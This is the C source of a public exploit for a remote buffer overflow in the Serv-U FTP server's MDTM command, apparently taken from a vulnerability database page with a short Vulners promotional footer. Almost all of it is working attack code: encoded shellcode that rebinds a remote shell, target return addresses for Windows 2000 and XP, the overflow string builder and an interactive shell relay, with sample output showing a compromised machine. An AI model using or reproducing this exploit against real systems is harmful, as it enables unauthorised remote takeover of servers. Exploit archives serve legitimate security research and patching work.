/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* BUG find by bkbll ([email protected]), cool! :ppPPppPPPpp :D
*
* code by Sam and 2004/01/07
* <[email protected]>
* <[email protected]>
*
*
* Revise History:
* 2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
* 2004/01/09 connect back shellcode added :)
* 2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
* we can attack pacthed serv-U;PPPp by airsupply
* 2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now
* :D thx airsupply
*
* Compile: gcc -o ex_servu ex_servu.c
*
* how works?
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
* bug find by bkbll ([email protected]) code by Sam ([email protected])
*
* # Connecting......
* [+] Connected.
* [*] USER ftp .
* [*] 10 bytes send.
* [*] PASS sst@SERV-u .
* [*] 17 bytes send.
* [+] login success .
* [+] remote version: Serv-U v4.x with Windows XP EN SP1
* [+] trigger vulnerability !
* [+] 1027 bytes overflow strings sent!
* [+] successed!!
*
*
* Microsoft Windows XP [Version 5.1.2600]
* (C) Copyright 1985-2001 Microsoft Corp.
*
* [Sam Chen@SAM C:\]#
*
*
* some thanks/greets to:
* bkbll (he find this bug :D), airsupply, kkqq, icbm
* and everyone else who's KNOW SST;P
* http://0x557.org
*/
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>
#define VER "v5.0"
#define clearbit(buff) bzero(buff, sizeof (buff));
#define padding(buff, a) memset(buff, a, sizeof (buff));
#define MAX_LEN 2048
#define MAX_NUM 4
int x = 0, port = 21, shellport;
char pass[20], user[20];
struct archs {
char *desc;
unsigned int magic;
}architectures[] = {
{
"Serv-U v3.x/4.x/5.x with Windows 2K CN", //winmm.dll
0x77535985
},
{
"Serv-U v3.x/4.x/5.x with Windows 2K BIG5 version", //winmm.dll
0x77531790
},
{
"Serv-U v3.x/4.x/5.x with Windows 2K EN",
0x77575985
},
{
"Serv-U v3.x/4.x/5.x with Windows XP CN SP1",
0x76b12f69
},
{
"Serv-U v3.x/4.x/5.x with Windows XP EN SP1",
0x76b42a3a
}
};
char decoder [] =
/* 36 bytes cool decoder by airsupply :) */
"\x90\x90\x90\x5E\x5F\x5B\xBE\x52\x52\x49\x41\x46\xBF\x52\x52\x31"
"\x41\x47\x43\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7"
"\xFF\xD3\x90\x90";
/* fork + rebind shellcode by airsupply (one way shellcode) */
char shellcode [] =
"\x53\x52\x49\x41"
/*port offset 120 + 4*/
"\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12\xD9\x85\x12\x99\x12\xD9"
"\x91\x18\x75\x19\x98\x99\x99\x12\x65\x12\x76\x32\x70\x8B\x9B\x99"
"\x99\xC7\xAA\x50\x28\x90\x66\xEE\x65\x71\xB9\x98\x99\x99\xF1\xF5"
"\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA\xAB\xC6\xCD\x66\xCC"
"\x9D\x32\xAA\x50\x28\x9C\x66\xEE\x65\x71\x99\x98\x99\x99\x12\x6C"
"\x71\x94\x98\x99\x99\xAA\x66\x18\x75\x09\x98\x99\x99\xCD\xF1\x98"
"\x98\x99\x99\x66\xCF\xB5\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF"
"\xA9\x12\x41\xCE\xCE\xF1\x9B\x99\x8C\x5B\x12\x55\xCA\xC8\xF3\x8F"
"\xC8\xCA\x66\xCF\xAD\xC0\xC2\x1C\x59\xEC\x68\xCE\xCA\x66\xCF\xA1"
"\xCE\xC8\xCA\x66\xCF\xA5\x12\x49\x10\x1F\xD9\x98\x99\x99\xF1\xFC"
"\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98\x99\x99\x1A\x75"
"\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32\x7B\x64\x5F\xDD"
"\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xCD\xBD\xD1\x10"
"\xCD\xBD\xD5\x10\xCD\xBD\xC9\x14\xDD\xBD\x89\x14\x27\xDD\x98\x99"
"\x99\xCE\xC9\xC8\xC8\xC8\xD8\xC8\xD0\xC8\xC8\x66\x2F\xA9\x98\x99"
"\x99\xC8\x66\xCF\x91\xAA\x59\xD1\xC9\x66\xCF\x95\xCA\xCC\xCF\xCE"
"\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81"
"\x12\xC3\xB9\x9A\x44\x7A\xA9\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65"
"\xAA\x59\x35\xA3\x79\xED\x9E\x58\x56\x9E\x9A\x61\x72\x6B\xA2\xE5"
"\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85"
"\x9A\x44\x12\x9D\x12\x9A\x5C\xC6\xC7\xC4\xC2\x5B\x9D\x99\xC8\x66"
"\xED\xBD\x91\x34\xC9\x71\x3B\x66\x66\x66\x1A\x5D\x9D\xC0\x32\x7B"
"\x74\x5A\xF1\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\x3F\xA9\x98"
"\x99\x99\x1A\x75\xCD\x14\xA5\xBD\xAA\x59\xAA\x50\x1A\x58\x8C\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10"
"\xDD\xBD\xD1\x10\xDD\xBD\xD5\x10\xDD\xBD\xC9\x14\xDD\xBD\x89\x14"
"\x27\xDD\x98\x99\x99\xCE\xC9\xC8\xC8\xF3\x9D\xC8\xC8\xC8\x66\x2F"
"\xA9\x98\x99\x99\xC8\x66\xCF\x91\x18\x75\x99\x9D\x99\x99\xF1\x9E"
"\x99\x98\x99\xCD\x66\x2F\xD1\x98\x99\x99\x66\xCF\x89\xF3\xD9\xF1"
"\x99\x89\x99\x99\xF1\x99\xC9\x99\x99\xF3\x99\x66\x2F\xDD\x98\x99"
"\x99\x66\xCF\x8D\x10\x1D\xBD\x21\x99\x99\x99\x10\x1D\xBD\x2D\x99"
"\x99\x99\x12\x15\xBD\xF9\x9D\x99\x99\x5E\xD8\x62\x09\x09\x09\x09"
"\x5F\xD8\x66\x09\x1A\x70\xCC\xF3\x99\xF1\x99\x89\x99\x99\xC8\xC9"
"\x66\x2F\xDD\x98\x99\x99\x66\xCF\x81\xCD\x66\x2F\xD1\x98\x99\x99"
"\x66\xCF\x85\x66\x2F\xD1\x98\x99\x99\x66\xCF\xB9\xAA\x59\xD1\xC9"
"\x66\xCF\x95\x71\x70\x64\x66\x66\xAB\xED\x08\x95\x50\x25\x3F\xF2"
"\x16\x6B\x81\xF8\x51\xCE\xD6\x88\x68\xE2\x05\x76\xC1\x96\xD8\x0E"
"\x51\xCE\xD6\x8E\x4F\x15\x07\x6A\xFA\x10\x48\xD6\xA4\xF3\x2D\x19"
"\xB4\xAB\xE1\x47\xFD\x89\x3E\x44\x95\x06\x4A\xD2\x28\x87\x0E\x98"
"\x06\x06\x06\x06"
"\x53\x52\x31\x41";
/* new:
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
*;D
* 2003/06/23 add by Sam
*/
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
int sock,
flag,
pe = 0;
size_t pe_len;
struct timeval tv;
struct sockaddr_in addr;
struct hostent* hp = NULL;
fd_set rset;
// reslov hosts
hp = gethostbyname (host);
if (NULL == hp) {
perror ("tcpConnect:gethostbyname\n");
return -1;
}
sock = socket (AF_INET, SOCK_STREAM, 0);
if (-1 == sock) {
perror ("tcpConnect:socket\n");
return -1;
}
addr.sin_addr = *(struct in_addr *) hp->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
/* set socket no block
*/
flag = fcntl (sock, F_GETFL);
if (-1 == flag) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}
flag |= O_NONBLOCK;
if (fcntl (sock, F_SETFL, flag) < 0) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}
if (connect (sock, (const struct sockaddr *) &addr,
sizeof(addr)) < 0 &&
errno != EINPROGRESS) {
perror ("tcpConnect:connect\n");
close (sock);
return -1;
}
/* set connect timeout
* use millisecond
*/
tv.tv_sec = timeout/1000;
tv.tv_usec = timeout%1000;
FD_ZERO (&rset);
FD_SET (sock, &rset);
if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
// perror ("tcpConnect:select");
close (sock);
return -1;
}
pe_len = sizeof (pe);
if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
perror ("tcpConnect:getsockopt\n");
close (sock);
return -1;
}
if (pe != 0) {
errno = pe;
close (sock);
return -1;
}
if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
perror ("tcpConnect:fcntl\n");
close (sock);
return -1;
}
pe = 1;
pe_len = sizeof (pe);
if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
perror ("tcpConnect:setsockopt\n");
close (sock);
return -1;
}
return sock;
}
/* rip code, from hsj */
int sh (int in, int out, int s)
{
char sbuf[128], rbuf[128];
int i,
ti, fd_cnt,
ret=0, slen=0, rlen=0;
fd_set rd, wr;
fd_cnt = in > out ? in : out;
fd_cnt = s > fd_cnt ? s : fd_cnt;
fd_cnt ++;
for (;;) {
FD_ZERO (&rd);
if (rlen < sizeof (rbuf))
FD_SET (s, &rd);
if (slen < sizeof (sbuf))
FD_SET (in, &rd);
FD_ZERO (&wr);
if (slen)
FD_SET (s, &wr);
if (rlen)
FD_SET (out, &wr);
if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
break;
if (FD_ISSET (in, &rd)) {
if((i = read (in, (sbuf+slen),
(sizeof (sbuf) - slen))) == (-1)) {
ret = -2;
break;
}
else if (i == 0) {
ret = -3;
break;
}
slen += i;
if (!(--ti))
continue;
}
if (FD_ISSET (s, &wr)) {
if ((i = write (s, sbuf, slen)) == (-1))
break;
if (i == slen)
slen = 0;
else {
slen -= i;
memmove (sbuf, sbuf + i, slen);
}
if (!(--ti))
continue;
}
if (FD_ISSET (s, &rd)) {
if ((i = read (s, (rbuf + rlen),
(sizeof (rbuf) - rlen))) <= 0)
break;
rlen += i;
if (!(--ti))
continue;
}
if (FD_ISSET (out, &wr)) {
if ((i = write (out, rbuf, rlen)) == (-1))
break;
if (i == rlen)
rlen = 0;
else {
rlen -= i;
memmove (rbuf, rbuf+i, rlen);
}
}
}
return ret;
}
int new_send (int fd, char *buff, size_t len)
{
int ret;
if ((ret = send (fd, buff, len, 0)) <= 0) {
perror ("new_write");
return -1;
}
return ret;
}
int new_recv (int fd, char *buff, size_t len)
{
int ret;
if ((ret = recv (fd, buff, len, 0)) <= 0) {
perror ("new_recv");
return -1;
}
return ret;
}
int ftp_login (char *hostName, short port, char *user, char *pass)
{
int ret, sock;
char buff[MAX_LEN];
fprintf (stderr, "# Connecting...... \n");
if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
fprintf (stderr, "[-] failed. \n");
return -1;
}
clearbit (buff);
new_recv (sock, buff, sizeof (buff) - 1);
if (!strstr (buff, "220")) {
fprintf (stderr, "[-] failed. \n");
return -1;
}
fprintf (stderr, "[+] Connected. \n");
sleep (1);
fprintf (stderr, "[*] USER %s .\n", user);
clearbit (buff);
snprintf (buff, sizeof (buff), "USER %s\r\n", user);
ret = new_send (sock, buff, strlen (buff));
fprintf (stderr, "[*] %d bytes send. \n", ret);
sleep (1);
clearbit (buff);
new_recv (sock, buff, sizeof (buff) - 1);
if (!strstr (buff, "331")) {
fprintf (stderr, "[-] user failed. \n%s\n", buff);
return -1;
}
fprintf (stderr, "[*] PASS %s .\n", pass);
clearbit (buff);
snprintf (buff, sizeof (buff), "PASS %s\r\n", pass);
ret = new_send (sock, buff, strlen (buff));
fprintf (stderr, "[*] %d bytes send. \n", ret);
sleep (1);
clearbit (buff);
new_recv (sock, buff, sizeof (buff) - 1);
if (!strstr (buff, "230")) {
fprintf (stderr, "[-] pass failed. \n%s\n", buff);
return -1;
}
fprintf (stderr, "[+] login success .\n");
return sock;
}
void do_overflow (int sock)
{
int ret, i;
unsigned short newport;
char Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];
clearbit (Comand);
clearbit (rbuf);
clearbit (chmodBuffer);
for(i = 0; i < 47; i++)
strcat(chmodBuffer, "a");
for(i = 0; i < 16; i += 8) {
*(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
*(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78; //pop reg pop reg ret
}
newport = htons (shellport)^(unsigned short)0x9999;
memcpy (&shellcode[120 + 4], &newport, 2);
strcat(chmodBuffer, decoder);
fprintf (stderr, "[+] remote version: %s\n", architectures[x].desc);
fprintf (stderr, "[+] trigger vulnerability !\n ");
strcpy (Comand, "MDTM 20031111111111+");
strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
strcat (Comand, " ");
strcat (Comand, shellcode);
strcat (Comand, "hacked_by.sst\r\n");
ret = new_send (sock, Comand, strlen (Comand));
fprintf (stderr, "[+] %d bytes overflow strings sent!\n", ret);
return;
}
/* print help messages.
* just show ya how to use.
*/
void showHELP (char *p)
{
int i;
fprintf (stderr, "Usage: %s [Options] \n", p);
fprintf (stderr, "Options:\n"
"\t-h [remote host]\tremote host\n"
"\t-P [server port]\tserver port\n"
"\t-t [system type]\tchoice the system type\n"
"\t-u [user name]\tlogin with this username\n"
"\t-p [pass word]\tlogin with this passwd\n"
"\t-d [shell port]\trebind using this port (default: ftpd port)\n\n");
printf ("num . description\n");
printf ("----+-----------------------------------------------"
"--------\n");
for (i = 0; i <= MAX_NUM; i ++) {
printf ("%3d | %s\n", i, architectures[i].desc);
}
printf (" '\n");
return;
}
int main (int c, char *v[])
{
int ch, fd, sd;
char *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
shellport = port;
fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"\n"
"bug find by bkbll ([email protected]) code by Sam ([email protected])\n\n");
if (c < 2) {
showHELP (v[0]);
exit (1);
}
while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
switch(ch) {
case 'h':
hostName = optarg;
break;
case 't':
x = atoi (optarg);
if (x > MAX_NUM) {
printf ("[-] wtf your input?\n");
exit (-1);
}
break;
case 'u':
userName = optarg;
break;
case 'p':
passWord = optarg;
break;
case 'P':
port = atoi (optarg);
break;
case 'd':
shellport = atoi (optarg);
break;
default:
showHELP (v[0]);
return 0;
}
}
fd = ftp_login (hostName, port, userName, passWord);
if (fd <= 0) {
printf ("[-] can't connnect\n");
exit (-1);
}
do_overflow (fd);
close (fd);
sleep (3);
sd = new_tcpConnect (hostName, shellport, 3000);
if (sd <= 0) {
printf ("[-] failed\n");
return -1;
}
fprintf (stderr, "[+] successed!!\n\n\n");
sh (0, 1, sd);
close (sd);
return 0;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation